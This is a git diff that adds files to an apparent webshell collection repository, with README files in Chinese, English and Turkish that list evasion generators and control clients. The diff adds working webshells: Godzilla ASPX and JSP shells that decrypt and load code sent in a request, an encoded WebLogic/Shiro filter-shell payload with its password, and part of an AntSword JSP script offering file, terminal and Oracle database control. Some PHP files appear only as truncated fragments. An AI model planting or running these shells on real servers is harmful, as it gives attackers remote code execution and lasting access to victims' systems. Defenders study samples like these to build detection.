+<%@ Page Language="C#"%><%try{string key = "202cb962ac59075b";string pass = "123";string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");byte[] data = System.Convert.FromBase64String(Context.Request[pass]);data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ;}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(data); byte[] r = System.Convert.FromBase64String(o.ToString()); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));}}catch(System.Exception){}%>
\ No newline at end of file
diff --git a/Godzilla/123.jsp b/Godzilla/123.jsp
new file mode 100644
index 00000000..cc094a16
--- /dev/null
+++ b/Godzilla/123.jsp
@@ -0,0 +1 @@
+<%! String xc="202cb962ac59075b"; String pass="123"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); value = value.replace("\n", "").replace("\r", "");} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><% try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", new String(data));Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(pageContext);response.getWriter().write(md5.substring(0,16));response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>
\ No newline at end of file
diff --git a/Godzilla/123.jspx b/Godzilla/123.jspx
new file mode 100644
index 00000000..532c8bc1
--- /dev/null
+++ b/Godzilla/123.jspx
@@ -0,0 +1 @@
+ String xc="202cb962ac59075b"; String pass="123"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); value = value.replace("\n", "").replace("\r", "");} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; } try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", new String(data));Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(pageContext);response.getWriter().write(md5.substring(0,16));response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
\ No newline at end of file
diff --git a/Godzilla/123.php b/Godzilla/123.php
new file mode 100644
index 00000000..538e83b6
--- /dev/null
+++ b/Godzilla/123.php
@@ -0,0 +1,34 @@
+nvoke($A[0]);
+ echo substr(md5($P.$T),0,16);
+ echo Q(E(@run($F),$T));
+ echo substr(md5($P.$T),16);
+ }else{
+ $_SESSION[$V]=$F;
+ }
+ }
diff --git a/Godzilla/20220213.php b/Godzilla/20220213.php
new file mode 100644
index 00000000..a5884216
--- /dev/null
+++ b/Godzilla/20220213.php
@@ -0,0 +1,34 @@
+nvoke($A[0]);
+ echo substr(md5($P.$T),0,16);
+ echo Q(E(@run($F),$T));
+ echo substr(md5($P.$T),16);
+ }else{
+ $_SESSION[$V]=$F;
+ }
+ }
diff --git a/Godzilla/20220213_02.php b/Godzilla/20220213_02.php
new file mode 100644
index 00000000..4c60f5b8
--- /dev/null
+++ b/Godzilla/20220213_02.php
@@ -0,0 +1,26 @@
+ This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.
-
- 本作品采用知识共享署名-非商业性使用-相同方式共享 3.0 未本地化版本许可协议进行许可。
+# webshell | [English](https://github.com/tennc/webshell/blob/master/README_EN.md) | [Türkiye](https://github.com/tennc/webshell/blob/master/README_TR.md)
+
+这是一个webshell收集项目
+
+送人玫瑰,手有余香,如果各位下载了本项目,也请您能提交shell
+
+本项目涵盖各种常用脚本
+
+如:asp,aspx,php,jsp,pl,py
+
+如提交各种webshell,请勿更改名称和密码
+
+注意:所有shell 本人不保证是否有后门,但是自己上传的绝不会故意加后门
+
+各位提交的,也请勿加后门
+
+如发现存在后门代码,请issues 。
+
+本项目提供的工具,禁止从事非法活动,此项目,仅供测试,所造成的一切后果,与本人无关。
+
+> ### 在扩展一个项目
+> 1. [webshell-venom](https://github.com/yzddmr6/webshell-venom)
+> 2. 免杀webshell无限生成工具
+>> 免杀webshell无限生成工具(免杀一句话生成|免杀D盾|免杀安全狗护卫神河马查杀等一切waf)
+>>
+>> Author : yzddmr6
+>>
+>> https://github.com/pureqh/webshell
+>>
+>> 请自行鉴别后门
+
+> ### other webshell project (update 2021-04-03)
+> 1. [xl7dev/WebShell](https://github.com/xl7dev/WebShell)
+> 2. [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
+> 3. [BlackArch/webshells](https://github.com/BlackArch/webshells)
+> 4. [LandGrey/webshell-detect-bypass](https://github.com/LandGrey/webshell-detect-bypass)
+> 5. [JoyChou93/webshell](https://github.com/JoyChou93/webshell)
+> 6. [bartblaze/PHP-backdoors](https://github.com/bartblaze/PHP-backdoors)
+> 7. [WangYihang/Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
+> 8. [threedr3am/JSP-Webshells](https://github.com/threedr3am/JSP-Webshells)
+> 9. [DeEpinGh0st/PHP-bypass-collection](https://github.com/DeEpinGh0st/PHP-bypass-collection)
+> 10. [lcatro/PHP-WebShell-Bypass-WAF](https://github.com/lcatro/PHP-WebShell-Bypass-WAF)
+> 11. [tanjiti/webshellSample](https://github.com/tanjiti/webshellSample)
+> 12. [webshellpub/awsome-webshell](https://github.com/webshellpub/awsome-webshell)
+> 13. [tdifg/WebShell](https://github.com/tdifg/WebShell)
+> 14. [malwares/WebShell](https://github.com/malwares/WebShell)
+> 15. [lhlsec/webshell](https://github.com/lhlsec/webshell)
+> 16. [oneoneplus/webshell](https://github.com/oneoneplus/webshell)
+> 17. [vnhacker1337/Webshell](https://github.com/vnhacker1337/Webshell)
+> 18. [backlion/webshell](https://github.com/backlion/webshell)
+> 19. [twepl/wso](https://github.com/twepl/wso) wso for php8
+> 20. [flozz/p0wny-shell](https://github.com/flozz/p0wny-shell) p0wny-shell
+
+> ### 顺便在推一波网站管理工具
+> 1. 中国菜刀
+> 2. Cknife
+> 3. [Altman](https://github.com/keepwn/Altman)
+> 4. xise
+> 5. [Weevely](https://github.com/epinna/weevely3)
+> 6. [quasibot](https://github.com/Smaash/quasibot)
+> 7. [Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
+> 8. [蚁剑 antSword](https://github.com/AntSwordProject/antSword)
+> 9. [冰蝎 Behinder](https://github.com/rebeyond/Behinder)
+> 10. [webacoo](https://github.com/anestisb/WeBaCoo)
+> 11. [哥斯拉 Godzilla](https://github.com/BeichenDream/Godzilla)
+> 12. [PhpSploit](https://github.com/nil0x42/phpsploit)
+> 13. 以上排名不分先后
+
+
+
+Author :tennc
+
+http://tennc.github.io/webshell
+
+license : MIT
+
+## Download link
+Check github releases. Latest:
+
+[https://github.com/tennc/webshell/releases](https://github.com/tennc/webshell/releases)
+
+## Many thanks to Jetbrains for providing us with an OSS licence for their fine development tools such as [Jetbrains tools](https://www.jetbrains.com/?from=webshell).
+
+## [Thanks to Cloudflare](https://www.cloudflare.com/)
+
+[](https://starchart.cc/tennc/webshell)
+
+
+
diff --git a/README_EN.md b/README_EN.md
new file mode 100644
index 00000000..fa68e837
--- /dev/null
+++ b/README_EN.md
@@ -0,0 +1,81 @@
+webshell
+[简体中文](https://github.com/tennc/webshell/blob/master/README.md)
+========
+This is a webshell collection project
+
+*Give someone a rose, there is a fragrance in your hand*
+if you download this project, please also submit a shell
+
+This project covers various common scripts
+
+Such as: asp, aspx, php, jsp, pl, py
+
+If you submit a webshell, please do not change the name and password
+
+Note: There is no guarantee whether there could be a backdoor in a shell, but I will never add a backdoor deliberately when uploading by myself
+
+Please don’t add a backdoor if you submit
+
+If you find a backdoor code, please create an issue immediately!
+
+The tools provided by this project are forbidden to engage in illegal activities. This project is for testing purposes only. All the consequences caused by it have nothing to do with me.
+
+> ### Expanding a project
+> 1. [webshell-venom](https://github.com/yzddmr6/webshell-venom)
+> 2. Kill-free webshell unlimited generation tool
+> 3. Kill-free webshell unlimited generation tool (Kill-free one sentence generation|Kill-free D shield|Kill-free security dog guard God Hippo check and kill everything waf)
+> 4. Author : yzddmr6
+> 5. Please identify yourself
+
+
+> ### other webshell project (update 2020-09-14)
+> 1. [xl7dev/WebShell](https://github.com/xl7dev/WebShell)
+> 2. [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
+> 3. [BlackArch/webshells](https://github.com/BlackArch/webshells)
+> 4. [LandGrey/webshell-detect-bypass](https://github.com/LandGrey/webshell-detect-bypass)
+> 5. [JoyChou93/webshell](https://github.com/JoyChou93/webshell)
+> 6. [bartblaze/PHP-backdoors](https://github.com/bartblaze/PHP-backdoors)
+> 7. [WangYihang/Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
+> 8. [threedr3am/JSP-Webshells](https://github.com/threedr3am/JSP-Webshells)
+> 9. [DeEpinGh0st/PHP-bypass-collection](https://github.com/DeEpinGh0st/PHP-bypass-collection)
+> 10. [lcatro/PHP-WebShell-Bypass-WAF](https://github.com/lcatro/PHP-WebShell-Bypass-WAF)
+> 11. [ysrc/webshell-sample](https://github.com/ysrc/webshell-sample)
+> 12. [tanjiti/webshellSample](https://github.com/tanjiti/webshellSample)
+> 13. [webshellpub/awsome-webshell](https://github.com/webshellpub/awsome-webshell)
+> 14. [tdifg/WebShell](https://github.com/tdifg/WebShell)
+> 15. [malwares/WebShell](https://github.com/malwares/WebShell)
+> 16. [lhlsec/webshell](https://github.com/lhlsec/webshell)
+> 17. [oneoneplus/webshell](https://github.com/oneoneplus/webshell)
+> 18. [vnhacker1337/Webshell](https://github.com/vnhacker1337/Webshell)
+> 19. [backlion/webshell](https://github.com/backlion/webshell)
+
+
+> ### By the way, we are pushing a wave of website management tools
+> 1. Chinese Kitchen Knife
+> 2. Cknife
+> 3. [Altman](https://github.com/keepwn/Altman)
+> 4. xise
+> 5. [Weevely](https://github.com/epinna/weevely3)
+> 6. [quasibot](https://github.com/Smaash/quasibot)
+> 7. [Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
+> 8. [蚁剑 antSword](https://github.com/AntSwordProject/antSword)
+> 9. [冰蝎 Behinder](https://github.com/rebeyond/Behinder)
+> 10. [webacoo](https://github.com/anestisb/WeBaCoo)
+> 11. [哥斯拉 Godzilla](https://github.com/BeichenDream/Godzilla)
+> 12. [PhpSploit](https://github.com/nil0x42/phpsploit)
+> 13. The above rankings are in no particular order
+
+
+
+Author :tennc
+
+http://tennc.github.io/webshell
+
+license : GPL v3
+
+## Download link
+Check github releases. Latest:
+
+[https://github.com/tennc/webshell/releases](https://github.com/tennc/webshell/releases)
+
+## [Thank you to JetBrains for providing an OSS development license for their products](https://www.jetbrains.com/?from=webshell)
diff --git a/README_TR.md b/README_TR.md
new file mode 100644
index 00000000..68ad65cb
--- /dev/null
+++ b/README_TR.md
@@ -0,0 +1,52 @@
+# webshell
+[简体中文](https://github.com/tennc/webshell/blob/master/README.md)
+========
+
+Bu, bir web kabuğu koleksiyon projesidir.
+
+*Birine gül verirseniz, elinizde bir koku kalır*
+Bu projeyi indirdiğinizde lütfen bir kabuk da gönderiniz.
+
+Bu proje çeşitli yaygın betikleri içermektedir.
+
+Örneğin: asp, aspx, php, jsp, pl, py
+
+Eğer bir web kabuğu gönderirseniz, lütfen adı ve şifreyi değiştirmeyiniz.
+
+Not: Bir kabukta bilerek bir arka kapı olup olmadığı garanti edilemez, ancak kendi yüklerken bilerek asla bir arka kapı eklemeyeceğim.
+
+Lütfen gönderirken bir arka kapı eklemeyiniz.
+
+Eğer bir arka kapı kodu bulursanız, lütfen derhal bir problem oluşturunuz!
+
+Bu projenin sağladığı araçlar yasa dışı faaliyetlerde bulunmak için yasaktır. Bu proje yalnızca test amaçlıdır. Bu projenin neden olduğu sonuçlarla ilgili olarak herhangi bir sorumluluğum yoktur.
+
+> ### Bir proje genişletme
+> 1. [webshell-venom](https://github.com/yzddmr6/webshell-venom)
+> 2. Öldürmeksizin sınırsız web kabuğu oluşturma aracı
+> 3. Öldürmeksizin sınırsız web kabuğu oluşturma aracı (Öldürmeksizin bir cümle oluşturma | Öldürmeksizin D kalkanı | Öldürmeksizin güvenlik köpeği koruması Tanrı hipposunu kontrol eder ve her şeyi kalkanlar)
+> 4. Yazar: yzddmr6
+> 5. Lütfen kim olduğunuzu belirtiniz.
+
+> ### Diğer web kabuğu projeleri (güncelleme 2020-09-14)
+> 1. [xl7dev/WebShell](https://github.com/xl7dev/WebShell)
+> 2. [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
+> 3. [BlackArch/webshells](https://github.com/BlackArch/webshells)
+> ...
+> [Diğer projeler için orijinal metne bakınız](https://github.com/tennc/webshell/blob/master/README.md)
+
+> ### Bu arada, bir dizi web sitesi yönetim aracı yayınlıyoruz
+> 1. Chinese Kitchen Knife
+> 2. Cknife
+> 3. [Altman](https://github.com/keepwn/Altman)
+> ...
+> [Diğer araçlar için orijinal metne bakınız](https://github.com/tennc/webshell/blob/master/README.md)
+
+Yazar: snmztony
+[Websitesi](https://snmztony.github.io)
+Lisans: GPL v3
+
+## İndirme bağlantısı
+[Github sürümlerini kontrol edin. En güncel sürüm için buraya tıklayın.](https://github.com/tennc/webshell/releases)
+
+## [Ürünlerinin OSS geliştirme lisansını sağladığı için JetBrains'e teşekkür ederiz](https://www.jetbrains.com/?from=webshell)
diff --git a/SECURITY.md b/SECURITY.md
new file mode 100644
index 00000000..5041b2f2
--- /dev/null
+++ b/SECURITY.md
@@ -0,0 +1,5 @@
+# Security Policy
+
+## Reporting a Vulnerability
+
+Please report security issues to
diff --git a/WangYihang/Webshell-Sniper b/WangYihang/Webshell-Sniper
new file mode 160000
index 00000000..dc657fb1
--- /dev/null
+++ b/WangYihang/Webshell-Sniper
@@ -0,0 +1 @@
+Subproject commit dc657fb1c5a01414205b62d3c90c77bba0202c2d
diff --git a/_config.yml b/_config.yml
new file mode 100644
index 00000000..fc24e7a6
--- /dev/null
+++ b/_config.yml
@@ -0,0 +1 @@
+theme: jekyll-theme-hacker
\ No newline at end of file
diff --git a/antSword-shells/README.md b/antSword-shells/README.md
new file mode 100644
index 00000000..051cf3b9
--- /dev/null
+++ b/antSword-shells/README.md
@@ -0,0 +1,18 @@
+## AntSword-Shell-Scripts
+> 此目录用于存放中国蚁剑一些示例的服务端脚本文件,仅供参考。
+
+AntSword(中国蚁剑)是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
+
+官网地址:http://uyu.us
+
+项目地址:https://github.com/antoor/antSword
+
+### PHP
+
+1. [PHP Custom Spy for Mysql](./php_custom_spy_for_mysql.php)
+2. [PHP Create_Function](./php_create_function.php)
+3. [PHP Assert](./php_assert.php)
+
+### JSP
+
+1. [JSP Custom Spy for Mysql](./jsp_custom_spy_for_mysql.jsp)
diff --git a/antSword-shells/WebLogic_Shiro.md b/antSword-shells/WebLogic_Shiro.md
new file mode 100644
index 00000000..5c992b85
--- /dev/null
+++ b/antSword-shells/WebLogic_Shiro.md
@@ -0,0 +1,15 @@
+``` java
+
+YWFhYWFhYWFhYWFhYWFhYW4WyDHgFb0DhQAQ46Kgw+r8soc6/b5FErU9nSlqEsyHJ8x4xnqm1ex86u/xBiUprKSOWmYZAMmwfWmzi9V1lvBG13cKgcZiHI6Kj0T69zzRdjvky4fgMZJy5IC1J5Dw8AFlea2PrRvslWyoPMxkYDXMCIQWOPYx4q6VXinkXP+3/hTU+VhQKzUdqbYj6w2DiQ6oqtZBYZdGD4YXq5YTrKpOHPyPex9EEvNxxZQGQcUgZD8+evRHXAcxCT/hTgsio2sGE7DkOB/PnnBhzm+1kJkEU6ePQoiD2GQA+lAVmLpQJEq4xlgg1HtVlQK7mCtSRU2vhroCHMtOFcQCz7u8yQ1hk0+da0IIf+QxsM0p78aWq8IYjk1wjzpxp8azJWvG0ao6ok9VdWXbJdC+c9yB5LySnNb7auijcGV54JODEx22BDsOVcN+vwyd3JBpfX+2KBur5jIIfc3kHRMRuJV9+LPoHDhoUVdUc5cismdzX2d0LJ9Ml+8l7LCAaenC2/GNgZJkzCpuZ/jvEfGVyCuLMK1KQM0eeW7beOojIcDXT6jrAn4Ys0gMThu05TWjQHM+fXDczE6Eb6dO5x9tOROFI0gcqzjmRage7xXM2xHykzej6CuiP6eJb+qKND244YgFN9gkAQqgkyscLcV0Ds6EldEct7uhzQfM1upktzWwsdrY1qVSmuMt1T8UzW/+hZoYgvxAh4F7jsSHuTPtoLoC36OK6PnooZUvKlmQtOCe05hIKpXoc9wXXh1EWJE5RXFrU34LMbsEjZH5e1GY8e9/xDxbRfNnBCfgpUH2rlPo0fUP0gdexpMLU9V/HDOBOxuQWLxRHvX3bpW3CF+cvYOJHtz9x6Y7Qa3NQxtkv1qrcddYXQdqO52sGjGvYCo6OyYsJm1vYnaqccVtsm/85VmCjAGu8QkP5tK3P8jr5K9pVdSEgAECTxYt/XRp/3baKCAPbLY1ibmR63y+0lBC+krW/p22CdpKq11r2ZxVVSEmaCBl4LgbYi1wk+rZFv1Io4CSr/R9PBFjlkvsCl2PSXC+VLA6YZt2d9u1F0uXC5VHhnTJaZ35lPBUTGT9BBvveDDW99CCmQa9htKNDwAsZnlyghFAPheH9N5J729NVrWXbrbUa1tl/Eh7rzA3SriFFZ9LhlGH68ksuCaUesi1+S0hh+aL7sXpKuxEVFK5yY1a3FHCjxeP1C29QAqgulzAJ5Lm6xjQ7Nb2lo5FfHMMO4kipou6gFlA5dhyholnB4wCzxy+V0UA5uY1kqxooLa5mUs+l5Xn8k+XWuhzZ/1OLLwlc5BEZ4qAdI77i4kkVhvr21lK5DoKhBMgl/5Sv+1k7TbgyTYa5Xvk1c7Sf0v7MCDeeSnFHElyLHW/LL7sgBXns4f9wy9tQWhafv3xqc5X+8ARY3QoP8bmV2AUpIeyWAvc1lS2Bf8juaQ6PKXTMPB5y6aTW2eDdCjDZLhrBj02qPt4A3l4uqBylZLSdeNFGSXrTPqiAADxGawk2TvKqRYn8oowS0SWeUngpR7GGGiqU/m8e3PUC/WepGQj0rdTFXqE5MJPd0a9BgQOew0uQfmKdbzstZr2j4on8lWYRmPLxpeooV7YvJL5mC3Xfo381OhOCEI5twD5MvXrUlSQpMH9+HISjWRxLzsC2njoXwiPbum39w==
+
+```
+
+pass: alsdkj1l24wqasd123
+
+use: URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell
+
+
+
+author:Y4er
+
+project:https://github.com/Y4er/WebLogic-Shiro-shell
diff --git a/antSword-shells/jsp_custom_script_for_oracle.jsp b/antSword-shells/jsp_custom_script_for_oracle.jsp
new file mode 100644
index 00000000..66ab1972
--- /dev/null
+++ b/antSword-shells/jsp_custom_script_for_oracle.jsp
@@ -0,0 +1,525 @@
+<%--
+ _ ____ _
+ __ _ _ __ | |_/ ___|_ _____ _ __ __| |
+ / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
+| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
+ \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
+———————————————————————————————————————————————
+ AntSword JSP Custom Script for Oracle
+ 警告:
+ 此脚本仅供合法的渗透测试以及爱好者参考学习
+ 请勿用于非法用途,否则将追究其相关责任!
+———————————————————————————————————————————————
+说明:
+ 1. AntSword >= v2.1.0
+ 2. 创建 Shell 时选择 custom 模式连接
+ 3. 数据库连接:
+ oracle.jdbc.driver.OracleDriver
+ jdbc:oracle:thin:@127.0.0.1:1521/test
+ user
+ password
+ 注意:以上是4行
+ 4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将值设置为空
+已知问题:
+ 1. 文件管理遇到中文文件名显示的问题
+ChangeLog:
+ v1.8
+ 1. 修复由于decode函数与EC函数位置写反而导致的乱码问题
+ v1.7
+ 1. 新增 AES 编码/解码 支持 (thx @Ch1ngg)
+ 2. 新增 Version, 直接访问不带任何参数会返回当前 shell 的版本号
+ v1.6
+ 1. 新增 4 种解码器支持
+ v1.5
+ 1. 修正 base64 编码器下连接数据库 characterEncoding 出错
+ v1.4
+ 1. 修正 windows 下基础路径获取盘符会出现小写的情况
+ v1.3
+ 1. 修正上传文件超过1M时的bug
+ 2. 修正weblogic war 包布署获取路径问题
+ 3. 修正文件中文字符问题
+ Date: 2016/04/29 v1.2
+ 1. 修正修改包含结束tag的文件会出错的 bug
+ Date: 2016/04/06 v1.1
+ 1. 修正下载文件参数设置错误
+ 2. 修正一些注释的细节
+ Date: 2016/03/26 v1
+ 1. 文件系统 和 terminal 管理
+ 2. mysql 数据库支持
+ 3. 支持 base64 和 hex 编码
+--%>
+<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,javax.crypto.*,java.security.*,javax.crypto.spec.*" contentType="text/html;charset=UTF-8"%>
+<%!
+// #################################################################
+ String Pwd = "ant"; //连接密码
+ // 编码器
+ String encoder = ""; // default (明文)
+ // String encoder = "base64"; // base64
+ // String encoder = "hex"; // hex(推荐)
+ // String encoder = "aes"; // aes(加密方式见下文aes配置)
+ // 解码器
+ String decoder = ""; // default (明文)
+ // String decoder = "base64"; // base64 中文正常
+ // String decoder = "hex"; // hex 中文可能有问题
+ // String decoder = "hex_base64"; // hex(base64) // 中文正常
+ // String decoder = "aes_base64"; // aes(base64) (加密方式见下文aes配置)
+ // 其它配置
+ String cs = "UTF-8"; // 字符集编码
+ String SessionKey = "CUSTOMSESSID"; // 自定义sessionkey id
+ String RetS = "LT58"; // 数据起始分割符 base64
+ String RetE = "fDwt"; // 数据结束分割符 base64
+ // aes 加密配置项
+ /*
+ * aes-128-cfb_zero_padding:
+ * - aes_mode: CFB
+ * - aes_padding: NoPadding
+ * - aes_keylen: 16
+ * aes-256-ecb_zero_padding:
+ * - aes_mode: ECB
+ * - aes_padding: NoPadding
+ * - aes_keylen: 32
+ */
+ // 注意: 以下4项为 encoder/decoder 共用
+ // 如果需要请求和返回采用不同方式, 自行修改
+ String aes_mode = "CFB"; // CBC|ECB|CFB|
+ String aes_padding = "NoPadding"; // NoPadding|PKCS5Padding|PKCS7Padding
+ int aes_keylen = 16; // 16|32 // 16(AES-128) 32(AES-256)
+ String aes_key_padding = "a"; // 获取到的 key 位数不够时填充字符
+// ################################################################
+ String AesKey = "";
+ String Version = "1.7";
+ String EC(String s) throws Exception {
+ if(encoder.equals("hex") || encoder == "hex") return s;
+ return new String(s.getBytes(), cs);
+ }
+ String showDatabases(String encode, String conn) throws Exception {
+ String sql = "SELECT USERNAME FROM ALL_USERS ORDER BY 1";
+ String columnsep = "\t";
+ String rowsep = "";
+ return executeSQL(encode, conn, sql, columnsep, rowsep, false);
+ }
+ String showTables(String encode, String conn, String dbname) throws Exception {
+ String sql = "SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"+dbname+"' ORDER BY 1)";
+ String columnsep = "\t";
+ String rowsep = "";
+ return executeSQL(encode, conn, sql, columnsep, rowsep, false);
+ }
+ String showColumns(String encode, String conn, String dbname, String table) throws Exception {
+ String columnsep = "\t";
+ String rowsep = "";
+ String sql = "select * from " + dbname + "." + table + " WHERE ROWNUM=0";
+ return executeSQL(encode, conn, sql, columnsep, rowsep, true);
+ }
+ String query(String encode, String conn, String sql) throws Exception {
+ String columnsep = "\t|\t";
+ String rowsep = "\r\n";
+ return executeSQL(encode, conn, sql, columnsep, rowsep, true);
+ }
+ String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
+ throws Exception {
+ String ret = "";
+ conn = (EC(conn));
+ String[] x = conn.trim().replace("\r\n", "\n").split("\n");
+ Class.forName(x[0].trim());
+ String url = x[1];
+ Connection c = DriverManager.getConnection(url,x[2],x[3]);
+ Statement stmt = c.createStatement();
+ ResultSet rs = stmt.executeQuery(sql);
+ ResultSetMetaData rsmd = rs.getMetaData();
+ if (needcoluname) {
+ for (int i = 1; i <= rsmd.getColumnCount(); i++) {
+ String columnName = rsmd.getColumnName(i);
+ ret += columnName + columnsep;
+ }
+ ret += rowsep;
+ }
+ while (rs.next()) {
+ for (int i = 1; i <= rsmd.getColumnCount(); i++) {
+ String columnValue = rs.getString(i);
+ ret += columnValue + columnsep;
+ }
+ ret += rowsep;
+ }
+ return ret;
+ }
+ String WwwRootPathCode(String d) throws Exception {
+ String s = "";
+ if (!d.substring(0, 1).equals("/")) {
+ File[] roots = File.listRoots();
+ for (int i = 0; i < roots.length; i++) {
+ s += roots[i].toString().substring(0, 2) + "";
+ }
+ } else {
+ s += "/";
+ }
+ return s;
+ }
+ String FileTreeCode(String dirPath) throws Exception {
+ File oF = new File(dirPath), l[] = oF.listFiles();
+ String s = "", sT, sQ, sF = "";
+ java.util.Date dt;
+ String fileCode=(String)System.getProperties().get("file.encoding");
+ SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ for (int i = 0; i < l.length; i++) {
+ dt = new java.util.Date(l[i].lastModified());
+ sT = fm.format(dt);
+ sQ = l[i].canRead() ? "R" : "";
+ sQ += l[i].canWrite() ? " W" : "";
+ String nm = new String(l[i].getName().getBytes(fileCode), cs);
+ if (l[i].isDirectory()) {
+ s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
+ } else {
+ sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
+ }
+ }
+ s += sF;
+ return new String(s.getBytes(fileCode), cs);
+ }
+ String ReadFileCode(String filePath) throws Exception {
+ String l = "", s = "";
+ BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
+ while ((l = br.readLine()) != null) {
+ s += l + "\r\n";
+ }
+ br.close();
+ return s;
+ }
+ String WriteFileCode(String filePath, String fileContext) throws Exception {
+ String h = "0123456789ABCDEF";
+ String fileHexContext = strtohexstr(fileContext);
+ File f = new File(filePath);
